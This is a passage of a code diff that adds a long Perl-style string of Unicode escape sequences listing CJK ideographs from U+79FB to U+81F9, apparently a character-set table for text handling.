+'\x{79FB}\x{79FC}\x{79FD}\x{79FE}\x{79FF}\x{7A00}\x{7A02}\x{7A03}\x{7A04}' .
+'\x{7A05}\x{7A06}\x{7A08}\x{7A0A}\x{7A0B}\x{7A0C}\x{7A0D}\x{7A0E}\x{7A0F}' .
+'\x{7A10}\x{7A11}\x{7A12}\x{7A13}\x{7A14}\x{7A15}\x{7A16}\x{7A17}\x{7A18}' .
+'\x{7A19}\x{7A1A}\x{7A1B}\x{7A1C}\x{7A1D}\x{7A1E}\x{7A1F}\x{7A20}\x{7A21}' .
+'\x{7A22}\x{7A23}\x{7A24}\x{7A25}\x{7A26}\x{7A27}\x{7A28}\x{7A29}\x{7A2A}' .
+'\x{7A2B}\x{7A2D}\x{7A2E}\x{7A2F}\x{7A30}\x{7A31}\x{7A32}\x{7A33}\x{7A34}' .
+'\x{7A35}\x{7A37}\x{7A39}\x{7A3B}\x{7A3C}\x{7A3D}\x{7A3E}\x{7A3F}\x{7A40}' .
+'\x{7A41}\x{7A42}\x{7A43}\x{7A44}\x{7A45}\x{7A46}\x{7A47}\x{7A48}\x{7A49}' .
+'\x{7A4A}\x{7A4B}\x{7A4C}\x{7A4D}\x{7A4E}\x{7A50}\x{7A51}\x{7A52}\x{7A53}' .
+'\x{7A54}\x{7A55}\x{7A56}\x{7A57}\x{7A58}\x{7A59}\x{7A5A}\x{7A5B}\x{7A5C}' .
+'\x{7A5D}\x{7A5E}\x{7A5F}\x{7A60}\x{7A61}\x{7A62}\x{7A65}\x{7A66}\x{7A67}' .
+'\x{7A68}\x{7A69}\x{7A6B}\x{7A6C}\x{7A6D}\x{7A6E}\x{7A70}\x{7A71}\x{7A72}' .
+'\x{7A73}\x{7A74}\x{7A75}\x{7A76}\x{7A77}\x{7A78}\x{7A79}\x{7A7A}\x{7A7B}' .
+'\x{7A7C}\x{7A7D}\x{7A7E}\x{7A7F}\x{7A80}\x{7A81}\x{7A83}\x{7A84}\x{7A85}' .
+'\x{7A86}\x{7A87}\x{7A88}\x{7A89}\x{7A8A}\x{7A8B}\x{7A8C}\x{7A8D}\x{7A8E}' .
+'\x{7A8F}\x{7A90}\x{7A91}\x{7A92}\x{7A93}\x{7A94}\x{7A95}\x{7A96}\x{7A97}' .
+'\x{7A98}\x{7A99}\x{7A9C}\x{7A9D}\x{7A9E}\x{7A9F}\x{7AA0}\x{7AA1}\x{7AA2}' .
+'\x{7AA3}\x{7AA4}\x{7AA5}\x{7AA6}\x{7AA7}\x{7AA8}\x{7AA9}\x{7AAA}\x{7AAB}' .
+'\x{7AAC}\x{7AAD}\x{7AAE}\x{7AAF}\x{7AB0}\x{7AB1}\x{7AB2}\x{7AB3}\x{7AB4}' .
+'\x{7AB5}\x{7AB6}\x{7AB7}\x{7AB8}\x{7ABA}\x{7ABE}\x{7ABF}\x{7AC0}\x{7AC1}' .
+'\x{7AC4}\x{7AC5}\x{7AC7}\x{7AC8}\x{7AC9}\x{7ACA}\x{7ACB}\x{7ACC}\x{7ACD}' .
+'\x{7ACE}\x{7ACF}\x{7AD0}\x{7AD1}\x{7AD2}\x{7AD3}\x{7AD4}\x{7AD5}\x{7AD6}' .
+'\x{7AD8}\x{7AD9}\x{7ADB}\x{7ADC}\x{7ADD}\x{7ADE}\x{7ADF}\x{7AE0}\x{7AE1}' .
+'\x{7AE2}\x{7AE3}\x{7AE4}\x{7AE5}\x{7AE6}\x{7AE7}\x{7AE8}\x{7AEA}\x{7AEB}' .
+'\x{7AEC}\x{7AED}\x{7AEE}\x{7AEF}\x{7AF0}\x{7AF1}\x{7AF2}\x{7AF3}\x{7AF4}' .
+'\x{7AF6}\x{7AF7}\x{7AF8}\x{7AF9}\x{7AFA}\x{7AFB}\x{7AFD}\x{7AFE}\x{7AFF}' .
+'\x{7B00}\x{7B01}\x{7B02}\x{7B03}\x{7B04}\x{7B05}\x{7B06}\x{7B08}\x{7B09}' .
+'\x{7B0A}\x{7B0B}\x{7B0C}\x{7B0D}\x{7B0E}\x{7B0F}\x{7B10}\x{7B11}\x{7B12}' .
+'\x{7B13}\x{7B14}\x{7B15}\x{7B16}\x{7B17}\x{7B18}\x{7B19}\x{7B1A}\x{7B1B}' .
+'\x{7B1C}\x{7B1D}\x{7B1E}\x{7B20}\x{7B21}\x{7B22}\x{7B23}\x{7B24}\x{7B25}' .
+'\x{7B26}\x{7B28}\x{7B2A}\x{7B2B}\x{7B2C}\x{7B2D}\x{7B2E}\x{7B2F}\x{7B30}' .
+'\x{7B31}\x{7B32}\x{7B33}\x{7B34}\x{7B35}\x{7B36}\x{7B37}\x{7B38}\x{7B39}' .
+'\x{7B3A}\x{7B3B}\x{7B3C}\x{7B3D}\x{7B3E}\x{7B3F}\x{7B40}\x{7B41}\x{7B43}' .
+'\x{7B44}\x{7B45}\x{7B46}\x{7B47}\x{7B48}\x{7B49}\x{7B4A}\x{7B4B}\x{7B4C}' .
+'\x{7B4D}\x{7B4E}\x{7B4F}\x{7B50}\x{7B51}\x{7B52}\x{7B54}\x{7B55}\x{7B56}' .
+'\x{7B57}\x{7B58}\x{7B59}\x{7B5A}\x{7B5B}\x{7B5C}\x{7B5D}\x{7B5E}\x{7B5F}' .
+'\x{7B60}\x{7B61}\x{7B62}\x{7B63}\x{7B64}\x{7B65}\x{7B66}\x{7B67}\x{7B68}' .
+'\x{7B69}\x{7B6A}\x{7B6B}\x{7B6C}\x{7B6D}\x{7B6E}\x{7B70}\x{7B71}\x{7B72}' .
+'\x{7B73}\x{7B74}\x{7B75}\x{7B76}\x{7B77}\x{7B78}\x{7B79}\x{7B7B}\x{7B7C}' .
+'\x{7B7D}\x{7B7E}\x{7B7F}\x{7B80}\x{7B81}\x{7B82}\x{7B83}\x{7B84}\x{7B85}' .
+'\x{7B87}\x{7B88}\x{7B89}\x{7B8A}\x{7B8B}\x{7B8C}\x{7B8D}\x{7B8E}\x{7B8F}' .
+'\x{7B90}\x{7B91}\x{7B93}\x{7B94}\x{7B95}\x{7B96}\x{7B97}\x{7B98}\x{7B99}' .
+'\x{7B9A}\x{7B9B}\x{7B9C}\x{7B9D}\x{7B9E}\x{7B9F}\x{7BA0}\x{7BA1}\x{7BA2}' .
+'\x{7BA4}\x{7BA6}\x{7BA7}\x{7BA8}\x{7BA9}\x{7BAA}\x{7BAB}\x{7BAC}\x{7BAD}' .
+'\x{7BAE}\x{7BAF}\x{7BB1}\x{7BB3}\x{7BB4}\x{7BB5}\x{7BB6}\x{7BB7}\x{7BB8}' .
+'\x{7BB9}\x{7BBA}\x{7BBB}\x{7BBC}\x{7BBD}\x{7BBE}\x{7BBF}\x{7BC0}\x{7BC1}' .
+'\x{7BC2}\x{7BC3}\x{7BC4}\x{7BC5}\x{7BC6}\x{7BC7}\x{7BC8}\x{7BC9}\x{7BCA}' .
+'\x{7BCB}\x{7BCC}\x{7BCD}\x{7BCE}\x{7BD0}\x{7BD1}\x{7BD2}\x{7BD3}\x{7BD4}' .
+'\x{7BD5}\x{7BD6}\x{7BD7}\x{7BD8}\x{7BD9}\x{7BDA}\x{7BDB}\x{7BDC}\x{7BDD}' .
+'\x{7BDE}\x{7BDF}\x{7BE0}\x{7BE1}\x{7BE2}\x{7BE3}\x{7BE4}\x{7BE5}\x{7BE6}' .
+'\x{7BE7}\x{7BE8}\x{7BE9}\x{7BEA}\x{7BEB}\x{7BEC}\x{7BED}\x{7BEE}\x{7BEF}' .
+'\x{7BF0}\x{7BF1}\x{7BF2}\x{7BF3}\x{7BF4}\x{7BF5}\x{7BF6}\x{7BF7}\x{7BF8}' .
+'\x{7BF9}\x{7BFB}\x{7BFC}\x{7BFD}\x{7BFE}\x{7BFF}\x{7C00}\x{7C01}\x{7C02}' .
+'\x{7C03}\x{7C04}\x{7C05}\x{7C06}\x{7C07}\x{7C08}\x{7C09}\x{7C0A}\x{7C0B}' .
+'\x{7C0C}\x{7C0D}\x{7C0E}\x{7C0F}\x{7C10}\x{7C11}\x{7C12}\x{7C13}\x{7C15}' .
+'\x{7C16}\x{7C17}\x{7C18}\x{7C19}\x{7C1A}\x{7C1C}\x{7C1D}\x{7C1E}\x{7C1F}' .
+'\x{7C20}\x{7C21}\x{7C22}\x{7C23}\x{7C24}\x{7C25}\x{7C26}\x{7C27}\x{7C28}' .
+'\x{7C29}\x{7C2A}\x{7C2B}\x{7C2C}\x{7C2D}\x{7C30}\x{7C31}\x{7C32}\x{7C33}' .
+'\x{7C34}\x{7C35}\x{7C36}\x{7C37}\x{7C38}\x{7C39}\x{7C3A}\x{7C3B}\x{7C3C}' .
+'\x{7C3D}\x{7C3E}\x{7C3F}\x{7C40}\x{7C41}\x{7C42}\x{7C43}\x{7C44}\x{7C45}' .
+'\x{7C46}\x{7C47}\x{7C48}\x{7C49}\x{7C4A}\x{7C4B}\x{7C4C}\x{7C4D}\x{7C4E}' .
+'\x{7C50}\x{7C51}\x{7C53}\x{7C54}\x{7C56}\x{7C57}\x{7C58}\x{7C59}\x{7C5A}' .
+'\x{7C5B}\x{7C5C}\x{7C5E}\x{7C5F}\x{7C60}\x{7C61}\x{7C62}\x{7C63}\x{7C64}' .
+'\x{7C65}\x{7C66}\x{7C67}\x{7C68}\x{7C69}\x{7C6A}\x{7C6B}\x{7C6C}\x{7C6D}' .
+'\x{7C6E}\x{7C6F}\x{7C70}\x{7C71}\x{7C72}\x{7C73}\x{7C74}\x{7C75}\x{7C77}' .
+'\x{7C78}\x{7C79}\x{7C7A}\x{7C7B}\x{7C7C}\x{7C7D}\x{7C7E}\x{7C7F}\x{7C80}' .
+'\x{7C81}\x{7C82}\x{7C84}\x{7C85}\x{7C86}\x{7C88}\x{7C89}\x{7C8A}\x{7C8B}' .
+'\x{7C8C}\x{7C8D}\x{7C8E}\x{7C8F}\x{7C90}\x{7C91}\x{7C92}\x{7C94}\x{7C95}' .
+'\x{7C96}\x{7C97}\x{7C98}\x{7C99}\x{7C9B}\x{7C9C}\x{7C9D}\x{7C9E}\x{7C9F}' .
+'\x{7CA0}\x{7CA1}\x{7CA2}\x{7CA3}\x{7CA4}\x{7CA5}\x{7CA6}\x{7CA7}\x{7CA8}' .
+'\x{7CA9}\x{7CAA}\x{7CAD}\x{7CAE}\x{7CAF}\x{7CB0}\x{7CB1}\x{7CB2}\x{7CB3}' .
+'\x{7CB4}\x{7CB5}\x{7CB6}\x{7CB7}\x{7CB8}\x{7CB9}\x{7CBA}\x{7CBB}\x{7CBC}' .
+'\x{7CBD}\x{7CBE}\x{7CBF}\x{7CC0}\x{7CC1}\x{7CC2}\x{7CC3}\x{7CC4}\x{7CC5}' .
+'\x{7CC6}\x{7CC7}\x{7CC8}\x{7CC9}\x{7CCA}\x{7CCB}\x{7CCC}\x{7CCD}\x{7CCE}' .
+'\x{7CCF}\x{7CD0}\x{7CD1}\x{7CD2}\x{7CD4}\x{7CD5}\x{7CD6}\x{7CD7}\x{7CD8}' .
+'\x{7CD9}\x{7CDC}\x{7CDD}\x{7CDE}\x{7CDF}\x{7CE0}\x{7CE2}\x{7CE4}\x{7CE7}' .
+'\x{7CE8}\x{7CE9}\x{7CEA}\x{7CEB}\x{7CEC}\x{7CED}\x{7CEE}\x{7CEF}\x{7CF0}' .
+'\x{7CF1}\x{7CF2}\x{7CF3}\x{7CF4}\x{7CF5}\x{7CF6}\x{7CF7}\x{7CF8}\x{7CF9}' .
+'\x{7CFA}\x{7CFB}\x{7CFD}\x{7CFE}\x{7D00}\x{7D01}\x{7D02}\x{7D03}\x{7D04}' .
+'\x{7D05}\x{7D06}\x{7D07}\x{7D08}\x{7D09}\x{7D0A}\x{7D0B}\x{7D0C}\x{7D0D}' .
+'\x{7D0E}\x{7D0F}\x{7D10}\x{7D11}\x{7D12}\x{7D13}\x{7D14}\x{7D15}\x{7D16}' .
+'\x{7D17}\x{7D18}\x{7D19}\x{7D1A}\x{7D1B}\x{7D1C}\x{7D1D}\x{7D1E}\x{7D1F}' .
+'\x{7D20}\x{7D21}\x{7D22}\x{7D24}\x{7D25}\x{7D26}\x{7D27}\x{7D28}\x{7D29}' .
+'\x{7D2B}\x{7D2C}\x{7D2E}\x{7D2F}\x{7D30}\x{7D31}\x{7D32}\x{7D33}\x{7D34}' .
+'\x{7D35}\x{7D36}\x{7D37}\x{7D38}\x{7D39}\x{7D3A}\x{7D3B}\x{7D3C}\x{7D3D}' .
+'\x{7D3E}\x{7D3F}\x{7D40}\x{7D41}\x{7D42}\x{7D43}\x{7D44}\x{7D45}\x{7D46}' .
+'\x{7D47}\x{7D49}\x{7D4A}\x{7D4B}\x{7D4C}\x{7D4E}\x{7D4F}\x{7D50}\x{7D51}' .
+'\x{7D52}\x{7D53}\x{7D54}\x{7D55}\x{7D56}\x{7D57}\x{7D58}\x{7D59}\x{7D5B}' .
+'\x{7D5C}\x{7D5D}\x{7D5E}\x{7D5F}\x{7D60}\x{7D61}\x{7D62}\x{7D63}\x{7D65}' .
+'\x{7D66}\x{7D67}\x{7D68}\x{7D69}\x{7D6A}\x{7D6B}\x{7D6C}\x{7D6D}\x{7D6E}' .
+'\x{7D6F}\x{7D70}\x{7D71}\x{7D72}\x{7D73}\x{7D74}\x{7D75}\x{7D76}\x{7D77}' .
+'\x{7D79}\x{7D7A}\x{7D7B}\x{7D7C}\x{7D7D}\x{7D7E}\x{7D7F}\x{7D80}\x{7D81}' .
+'\x{7D83}\x{7D84}\x{7D85}\x{7D86}\x{7D87}\x{7D88}\x{7D89}\x{7D8A}\x{7D8B}' .
+'\x{7D8C}\x{7D8D}\x{7D8E}\x{7D8F}\x{7D90}\x{7D91}\x{7D92}\x{7D93}\x{7D94}' .
+'\x{7D96}\x{7D97}\x{7D99}\x{7D9B}\x{7D9C}\x{7D9D}\x{7D9E}\x{7D9F}\x{7DA0}' .
+'\x{7DA1}\x{7DA2}\x{7DA3}\x{7DA5}\x{7DA6}\x{7DA7}\x{7DA9}\x{7DAA}\x{7DAB}' .
+'\x{7DAC}\x{7DAD}\x{7DAE}\x{7DAF}\x{7DB0}\x{7DB1}\x{7DB2}\x{7DB3}\x{7DB4}' .
+'\x{7DB5}\x{7DB6}\x{7DB7}\x{7DB8}\x{7DB9}\x{7DBA}\x{7DBB}\x{7DBC}\x{7DBD}' .
+'\x{7DBE}\x{7DBF}\x{7DC0}\x{7DC1}\x{7DC2}\x{7DC3}\x{7DC4}\x{7DC5}\x{7DC6}' .
+'\x{7DC7}\x{7DC8}\x{7DC9}\x{7DCA}\x{7DCB}\x{7DCC}\x{7DCE}\x{7DCF}\x{7DD0}' .
+'\x{7DD1}\x{7DD2}\x{7DD4}\x{7DD5}\x{7DD6}\x{7DD7}\x{7DD8}\x{7DD9}\x{7DDA}' .
+'\x{7DDB}\x{7DDD}\x{7DDE}\x{7DDF}\x{7DE0}\x{7DE1}\x{7DE2}\x{7DE3}\x{7DE6}' .
+'\x{7DE7}\x{7DE8}\x{7DE9}\x{7DEA}\x{7DEC}\x{7DED}\x{7DEE}\x{7DEF}\x{7DF0}' .
+'\x{7DF1}\x{7DF2}\x{7DF3}\x{7DF4}\x{7DF5}\x{7DF6}\x{7DF7}\x{7DF8}\x{7DF9}' .
+'\x{7DFA}\x{7DFB}\x{7DFC}\x{7E00}\x{7E01}\x{7E02}\x{7E03}\x{7E04}\x{7E05}' .
+'\x{7E06}\x{7E07}\x{7E08}\x{7E09}\x{7E0A}\x{7E0B}\x{7E0C}\x{7E0D}\x{7E0E}' .
+'\x{7E0F}\x{7E10}\x{7E11}\x{7E12}\x{7E13}\x{7E14}\x{7E15}\x{7E16}\x{7E17}' .
+'\x{7E19}\x{7E1A}\x{7E1B}\x{7E1C}\x{7E1D}\x{7E1E}\x{7E1F}\x{7E20}\x{7E21}' .
+'\x{7E22}\x{7E23}\x{7E24}\x{7E25}\x{7E26}\x{7E27}\x{7E28}\x{7E29}\x{7E2A}' .
+'\x{7E2B}\x{7E2C}\x{7E2D}\x{7E2E}\x{7E2F}\x{7E30}\x{7E31}\x{7E32}\x{7E33}' .
+'\x{7E34}\x{7E35}\x{7E36}\x{7E37}\x{7E38}\x{7E39}\x{7E3A}\x{7E3B}\x{7E3C}' .
+'\x{7E3D}\x{7E3E}\x{7E3F}\x{7E40}\x{7E41}\x{7E42}\x{7E43}\x{7E44}\x{7E45}' .
+'\x{7E46}\x{7E47}\x{7E48}\x{7E49}\x{7E4C}\x{7E4D}\x{7E4E}\x{7E4F}\x{7E50}' .
+'\x{7E51}\x{7E52}\x{7E53}\x{7E54}\x{7E55}\x{7E56}\x{7E57}\x{7E58}\x{7E59}' .
+'\x{7E5A}\x{7E5C}\x{7E5D}\x{7E5E}\x{7E5F}\x{7E60}\x{7E61}\x{7E62}\x{7E63}' .
+'\x{7E65}\x{7E66}\x{7E67}\x{7E68}\x{7E69}\x{7E6A}\x{7E6B}\x{7E6C}\x{7E6D}' .
+'\x{7E6E}\x{7E6F}\x{7E70}\x{7E71}\x{7E72}\x{7E73}\x{7E74}\x{7E75}\x{7E76}' .
+'\x{7E77}\x{7E78}\x{7E79}\x{7E7A}\x{7E7B}\x{7E7C}\x{7E7D}\x{7E7E}\x{7E7F}' .
+'\x{7E80}\x{7E81}\x{7E82}\x{7E83}\x{7E84}\x{7E85}\x{7E86}\x{7E87}\x{7E88}' .
+'\x{7E89}\x{7E8A}\x{7E8B}\x{7E8C}\x{7E8D}\x{7E8E}\x{7E8F}\x{7E90}\x{7E91}' .
+'\x{7E92}\x{7E93}\x{7E94}\x{7E95}\x{7E96}\x{7E97}\x{7E98}\x{7E99}\x{7E9A}' .
+'\x{7E9B}\x{7E9C}\x{7E9E}\x{7E9F}\x{7EA0}\x{7EA1}\x{7EA2}\x{7EA3}\x{7EA4}' .
+'\x{7EA5}\x{7EA6}\x{7EA7}\x{7EA8}\x{7EA9}\x{7EAA}\x{7EAB}\x{7EAC}\x{7EAD}' .
+'\x{7EAE}\x{7EAF}\x{7EB0}\x{7EB1}\x{7EB2}\x{7EB3}\x{7EB4}\x{7EB5}\x{7EB6}' .
+'\x{7EB7}\x{7EB8}\x{7EB9}\x{7EBA}\x{7EBB}\x{7EBC}\x{7EBD}\x{7EBE}\x{7EBF}' .
+'\x{7EC0}\x{7EC1}\x{7EC2}\x{7EC3}\x{7EC4}\x{7EC5}\x{7EC6}\x{7EC7}\x{7EC8}' .
+'\x{7EC9}\x{7ECA}\x{7ECB}\x{7ECC}\x{7ECD}\x{7ECE}\x{7ECF}\x{7ED0}\x{7ED1}' .
+'\x{7ED2}\x{7ED3}\x{7ED4}\x{7ED5}\x{7ED6}\x{7ED7}\x{7ED8}\x{7ED9}\x{7EDA}' .
+'\x{7EDB}\x{7EDC}\x{7EDD}\x{7EDE}\x{7EDF}\x{7EE0}\x{7EE1}\x{7EE2}\x{7EE3}' .
+'\x{7EE4}\x{7EE5}\x{7EE6}\x{7EE7}\x{7EE8}\x{7EE9}\x{7EEA}\x{7EEB}\x{7EEC}' .
+'\x{7EED}\x{7EEE}\x{7EEF}\x{7EF0}\x{7EF1}\x{7EF2}\x{7EF3}\x{7EF4}\x{7EF5}' .
+'\x{7EF6}\x{7EF7}\x{7EF8}\x{7EF9}\x{7EFA}\x{7EFB}\x{7EFC}\x{7EFD}\x{7EFE}' .
+'\x{7EFF}\x{7F00}\x{7F01}\x{7F02}\x{7F03}\x{7F04}\x{7F05}\x{7F06}\x{7F07}' .
+'\x{7F08}\x{7F09}\x{7F0A}\x{7F0B}\x{7F0C}\x{7F0D}\x{7F0E}\x{7F0F}\x{7F10}' .
+'\x{7F11}\x{7F12}\x{7F13}\x{7F14}\x{7F15}\x{7F16}\x{7F17}\x{7F18}\x{7F19}' .
+'\x{7F1A}\x{7F1B}\x{7F1C}\x{7F1D}\x{7F1E}\x{7F1F}\x{7F20}\x{7F21}\x{7F22}' .
+'\x{7F23}\x{7F24}\x{7F25}\x{7F26}\x{7F27}\x{7F28}\x{7F29}\x{7F2A}\x{7F2B}' .
+'\x{7F2C}\x{7F2D}\x{7F2E}\x{7F2F}\x{7F30}\x{7F31}\x{7F32}\x{7F33}\x{7F34}' .
+'\x{7F35}\x{7F36}\x{7F37}\x{7F38}\x{7F39}\x{7F3A}\x{7F3D}\x{7F3E}\x{7F3F}' .
+'\x{7F40}\x{7F42}\x{7F43}\x{7F44}\x{7F45}\x{7F47}\x{7F48}\x{7F49}\x{7F4A}' .
+'\x{7F4B}\x{7F4C}\x{7F4D}\x{7F4E}\x{7F4F}\x{7F50}\x{7F51}\x{7F52}\x{7F53}' .
+'\x{7F54}\x{7F55}\x{7F56}\x{7F57}\x{7F58}\x{7F5A}\x{7F5B}\x{7F5C}\x{7F5D}' .
+'\x{7F5E}\x{7F5F}\x{7F60}\x{7F61}\x{7F62}\x{7F63}\x{7F64}\x{7F65}\x{7F66}' .
+'\x{7F67}\x{7F68}\x{7F69}\x{7F6A}\x{7F6B}\x{7F6C}\x{7F6D}\x{7F6E}\x{7F6F}' .
+'\x{7F70}\x{7F71}\x{7F72}\x{7F73}\x{7F74}\x{7F75}\x{7F76}\x{7F77}\x{7F78}' .
+'\x{7F79}\x{7F7A}\x{7F7B}\x{7F7C}\x{7F7D}\x{7F7E}\x{7F7F}\x{7F80}\x{7F81}' .
+'\x{7F82}\x{7F83}\x{7F85}\x{7F86}\x{7F87}\x{7F88}\x{7F89}\x{7F8A}\x{7F8B}' .
+'\x{7F8C}\x{7F8D}\x{7F8E}\x{7F8F}\x{7F91}\x{7F92}\x{7F93}\x{7F94}\x{7F95}' .
+'\x{7F96}\x{7F98}\x{7F9A}\x{7F9B}\x{7F9C}\x{7F9D}\x{7F9E}\x{7F9F}\x{7FA0}' .
+'\x{7FA1}\x{7FA2}\x{7FA3}\x{7FA4}\x{7FA5}\x{7FA6}\x{7FA7}\x{7FA8}\x{7FA9}' .
+'\x{7FAA}\x{7FAB}\x{7FAC}\x{7FAD}\x{7FAE}\x{7FAF}\x{7FB0}\x{7FB1}\x{7FB2}' .
+'\x{7FB3}\x{7FB5}\x{7FB6}\x{7FB7}\x{7FB8}\x{7FB9}\x{7FBA}\x{7FBB}\x{7FBC}' .
+'\x{7FBD}\x{7FBE}\x{7FBF}\x{7FC0}\x{7FC1}\x{7FC2}\x{7FC3}\x{7FC4}\x{7FC5}' .
+'\x{7FC6}\x{7FC7}\x{7FC8}\x{7FC9}\x{7FCA}\x{7FCB}\x{7FCC}\x{7FCD}\x{7FCE}' .
+'\x{7FCF}\x{7FD0}\x{7FD1}\x{7FD2}\x{7FD3}\x{7FD4}\x{7FD5}\x{7FD7}\x{7FD8}' .
+'\x{7FD9}\x{7FDA}\x{7FDB}\x{7FDC}\x{7FDE}\x{7FDF}\x{7FE0}\x{7FE1}\x{7FE2}' .
+'\x{7FE3}\x{7FE5}\x{7FE6}\x{7FE7}\x{7FE8}\x{7FE9}\x{7FEA}\x{7FEB}\x{7FEC}' .
+'\x{7FED}\x{7FEE}\x{7FEF}\x{7FF0}\x{7FF1}\x{7FF2}\x{7FF3}\x{7FF4}\x{7FF5}' .
+'\x{7FF6}\x{7FF7}\x{7FF8}\x{7FF9}\x{7FFA}\x{7FFB}\x{7FFC}\x{7FFD}\x{7FFE}' .
+'\x{7FFF}\x{8000}\x{8001}\x{8002}\x{8003}\x{8004}\x{8005}\x{8006}\x{8007}' .
+'\x{8008}\x{8009}\x{800B}\x{800C}\x{800D}\x{800E}\x{800F}\x{8010}\x{8011}' .
+'\x{8012}\x{8013}\x{8014}\x{8015}\x{8016}\x{8017}\x{8018}\x{8019}\x{801A}' .
+'\x{801B}\x{801C}\x{801D}\x{801E}\x{801F}\x{8020}\x{8021}\x{8022}\x{8023}' .
+'\x{8024}\x{8025}\x{8026}\x{8027}\x{8028}\x{8029}\x{802A}\x{802B}\x{802C}' .
+'\x{802D}\x{802E}\x{8030}\x{8031}\x{8032}\x{8033}\x{8034}\x{8035}\x{8036}' .
+'\x{8037}\x{8038}\x{8039}\x{803A}\x{803B}\x{803D}\x{803E}\x{803F}\x{8041}' .
+'\x{8042}\x{8043}\x{8044}\x{8045}\x{8046}\x{8047}\x{8048}\x{8049}\x{804A}' .
+'\x{804B}\x{804C}\x{804D}\x{804E}\x{804F}\x{8050}\x{8051}\x{8052}\x{8053}' .
+'\x{8054}\x{8055}\x{8056}\x{8057}\x{8058}\x{8059}\x{805A}\x{805B}\x{805C}' .
+'\x{805D}\x{805E}\x{805F}\x{8060}\x{8061}\x{8062}\x{8063}\x{8064}\x{8065}' .
+'\x{8067}\x{8068}\x{8069}\x{806A}\x{806B}\x{806C}\x{806D}\x{806E}\x{806F}' .
+'\x{8070}\x{8071}\x{8072}\x{8073}\x{8074}\x{8075}\x{8076}\x{8077}\x{8078}' .
+'\x{8079}\x{807A}\x{807B}\x{807C}\x{807D}\x{807E}\x{807F}\x{8080}\x{8081}' .
+'\x{8082}\x{8083}\x{8084}\x{8085}\x{8086}\x{8087}\x{8089}\x{808A}\x{808B}' .
+'\x{808C}\x{808D}\x{808F}\x{8090}\x{8091}\x{8092}\x{8093}\x{8095}\x{8096}' .
+'\x{8097}\x{8098}\x{8099}\x{809A}\x{809B}\x{809C}\x{809D}\x{809E}\x{809F}' .
+'\x{80A0}\x{80A1}\x{80A2}\x{80A3}\x{80A4}\x{80A5}\x{80A9}\x{80AA}\x{80AB}' .
+'\x{80AD}\x{80AE}\x{80AF}\x{80B0}\x{80B1}\x{80B2}\x{80B4}\x{80B5}\x{80B6}' .
+'\x{80B7}\x{80B8}\x{80BA}\x{80BB}\x{80BC}\x{80BD}\x{80BE}\x{80BF}\x{80C0}' .
+'\x{80C1}\x{80C2}\x{80C3}\x{80C4}\x{80C5}\x{80C6}\x{80C7}\x{80C8}\x{80C9}' .
+'\x{80CA}\x{80CB}\x{80CC}\x{80CD}\x{80CE}\x{80CF}\x{80D0}\x{80D1}\x{80D2}' .
+'\x{80D3}\x{80D4}\x{80D5}\x{80D6}\x{80D7}\x{80D8}\x{80D9}\x{80DA}\x{80DB}' .
+'\x{80DC}\x{80DD}\x{80DE}\x{80E0}\x{80E1}\x{80E2}\x{80E3}\x{80E4}\x{80E5}' .
+'\x{80E6}\x{80E7}\x{80E8}\x{80E9}\x{80EA}\x{80EB}\x{80EC}\x{80ED}\x{80EE}' .
+'\x{80EF}\x{80F0}\x{80F1}\x{80F2}\x{80F3}\x{80F4}\x{80F5}\x{80F6}\x{80F7}' .
+'\x{80F8}\x{80F9}\x{80FA}\x{80FB}\x{80FC}\x{80FD}\x{80FE}\x{80FF}\x{8100}' .
+'\x{8101}\x{8102}\x{8105}\x{8106}\x{8107}\x{8108}\x{8109}\x{810A}\x{810B}' .
+'\x{810C}\x{810D}\x{810E}\x{810F}\x{8110}\x{8111}\x{8112}\x{8113}\x{8114}' .
+'\x{8115}\x{8116}\x{8118}\x{8119}\x{811A}\x{811B}\x{811C}\x{811D}\x{811E}' .
+'\x{811F}\x{8120}\x{8121}\x{8122}\x{8123}\x{8124}\x{8125}\x{8126}\x{8127}' .
+'\x{8128}\x{8129}\x{812A}\x{812B}\x{812C}\x{812D}\x{812E}\x{812F}\x{8130}' .
+'\x{8131}\x{8132}\x{8136}\x{8137}\x{8138}\x{8139}\x{813A}\x{813B}\x{813C}' .
+'\x{813D}\x{813E}\x{813F}\x{8140}\x{8141}\x{8142}\x{8143}\x{8144}\x{8145}' .
+'\x{8146}\x{8147}\x{8148}\x{8149}\x{814A}\x{814B}\x{814C}\x{814D}\x{814E}' .
+'\x{814F}\x{8150}\x{8151}\x{8152}\x{8153}\x{8154}\x{8155}\x{8156}\x{8157}' .
+'\x{8158}\x{8159}\x{815A}\x{815B}\x{815C}\x{815D}\x{815E}\x{8160}\x{8161}' .
+'\x{8162}\x{8163}\x{8164}\x{8165}\x{8166}\x{8167}\x{8168}\x{8169}\x{816A}' .
+'\x{816B}\x{816C}\x{816D}\x{816E}\x{816F}\x{8170}\x{8171}\x{8172}\x{8173}' .
+'\x{8174}\x{8175}\x{8176}\x{8177}\x{8178}\x{8179}\x{817A}\x{817B}\x{817C}' .
+'\x{817D}\x{817E}\x{817F}\x{8180}\x{8181}\x{8182}\x{8183}\x{8185}\x{8186}' .
+'\x{8187}\x{8188}\x{8189}\x{818A}\x{818B}\x{818C}\x{818D}\x{818E}\x{818F}' .
+'\x{8191}\x{8192}\x{8193}\x{8194}\x{8195}\x{8197}\x{8198}\x{8199}\x{819A}' .
+'\x{819B}\x{819C}\x{819D}\x{819E}\x{819F}\x{81A0}\x{81A1}\x{81A2}\x{81A3}' .
+'\x{81A4}\x{81A5}\x{81A6}\x{81A7}\x{81A8}\x{81A9}\x{81AA}\x{81AB}\x{81AC}' .
+'\x{81AD}\x{81AE}\x{81AF}\x{81B0}\x{81B1}\x{81B2}\x{81B3}\x{81B4}\x{81B5}' .
+'\x{81B6}\x{81B7}\x{81B8}\x{81B9}\x{81BA}\x{81BB}\x{81BC}\x{81BD}\x{81BE}' .
+'\x{81BF}\x{81C0}\x{81C1}\x{81C2}\x{81C3}\x{81C4}\x{81C5}\x{81C6}\x{81C7}' .
+'\x{81C8}\x{81C9}\x{81CA}\x{81CC}\x{81CD}\x{81CE}\x{81CF}\x{81D0}\x{81D1}' .
+'\x{81D2}\x{81D4}\x{81D5}\x{81D6}\x{81D7}\x{81D8}\x{81D9}\x{81DA}\x{81DB}' .
+'\x{81DC}\x{81DD}\x{81DE}\x{81DF}\x{81E0}\x{81E1}\x{81E2}\x{81E3}\x{81E5}' .
+'\x{81E6}\x{81E7}\x{81E8}\x{81E9}\x{81EA}\x{81EB}\x{81EC}\x{81ED}\x{81EE}' .
+'\x{81F1}\x{81F2}\x{81F3}\x{81F4}\x{81F5}\x{81F6}\x{81F7}\x{81F8}\x{81F9}' .
